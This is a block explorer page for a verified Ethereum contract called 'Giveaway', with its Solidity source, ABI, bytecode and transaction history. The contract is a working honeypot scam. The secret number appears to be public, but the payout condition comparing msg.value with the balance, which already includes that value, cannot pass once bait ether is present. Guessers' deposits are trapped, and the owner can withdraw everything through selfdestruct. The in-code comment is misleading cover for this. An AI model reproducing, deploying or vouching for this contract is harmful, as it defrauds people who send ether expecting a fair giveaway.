Contract Overview
Balance: 0.08 Ether
Ether Value: $7.16 (@ $89.49/ETH)
Transactions: 2 txns
Misc:
Address Watch: Add To Watch List
Contract Creator: 0x4ef20870417d43f9bae32de7a14f7f78394bb9e9at txn 0xfca9925b4650d1715f4815a7bccc5d61b373399817c39a47b7c61dbdcf9d98fa
 Latest 2 txns

TxHash Age From To Value [TxFee]
0x25e47e619312f8bedb14195fde70dd14bf35b8501c5de08eeb9344f2c8077a41268 days 22 hrs ago0x4ef20870417d43f9bae32de7a14f7f78394bb9e9  IN   0x9f54d912a029380f2743aaf4ddd28c3f207cd7190.08 Ether0.00002104
0xfca9925b4650d1715f4815a7bccc5d61b373399817c39a47b7c61dbdcf9d98fa268 days 23 hrs ago0x4ef20870417d43f9bae32de7a14f7f78394bb9e9  IN    Contract Creation0 Ether0.000416222


[ Download CSV Export  ] 
 Internal Transactions as a result of Contract Execution
View All
ParentTxHash Block Age From To Value
Warning: The Compiled Contract might be susceptible to ExpExponentCleanup (medium/high-severity), EventStructWrongData (very low-severity), NestedArrayFunctionCallDecoder (medium-severity) SolidityCompiler Bugs.

Contract Source Code Verified (Exact Match)
Contract Name: Giveaway
Compiler Text: v0.4.21+commit.dfe3193c
Optimization Enabled: Yes
Runs (Optimiser):  200



  Contract Source Code   Find Similiar Contracts

pragma solidity ^0.4.21;
contract Giveaway {

    address private owner = msg.sender;
    uint public SecretNumber = 24;
   
    function() public payable {
    }
   
    function Guess(uint n) public payable {
        if(msg.value >= this.balance && n == SecretNumber && msg.value >= 0.07 ether) {
            // Previous Guesses makes the number easier to guess so you have to pay more
            msg.sender.transfer(this.balance + msg.value);
        }
    }
    
    function kill() public {
        require(msg.sender == owner);
	    selfdestruct(msg.sender);
	}
}

    Contract ABI  
[{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"n","type":"uint256"}],"name":"Guess","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"SecretNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

  Contract Creation Code Switch To Opcodes View
606060405260008054600160a060020a03191633600160a060020a03161790556018600155341561002f57600080fd5b6101aa8061003e6000396000f3006060604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166341c0e1b5811461005857806375f96ead1461006b578063c2610cda14610076575b005b341561006357600080fd5b61005661009b565b6100566004356100dc565b341561008157600080fd5b610089610178565b60405190815260200160405180910390f35b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146100c357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b3073ffffffffffffffffffffffffffffffffffffffff16313410158015610104575060015481145b8015610117575066f8b0a10e4700003410155b15610175573373ffffffffffffffffffffffffffffffffffffffff166108fc343073ffffffffffffffffffffffffffffffffffffffff1631019081150290604051600060405180830381858888f19350505050151561017557600080fd5b50565b600154815600a165627a7a723058205e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b10029

   Swarm Source:
bzzr://5e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b1

 

View All
Block Age transaction Difficulty GasUsed Reward
View All
Block Age UncleNumber Difficulty GasUsed Reward
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.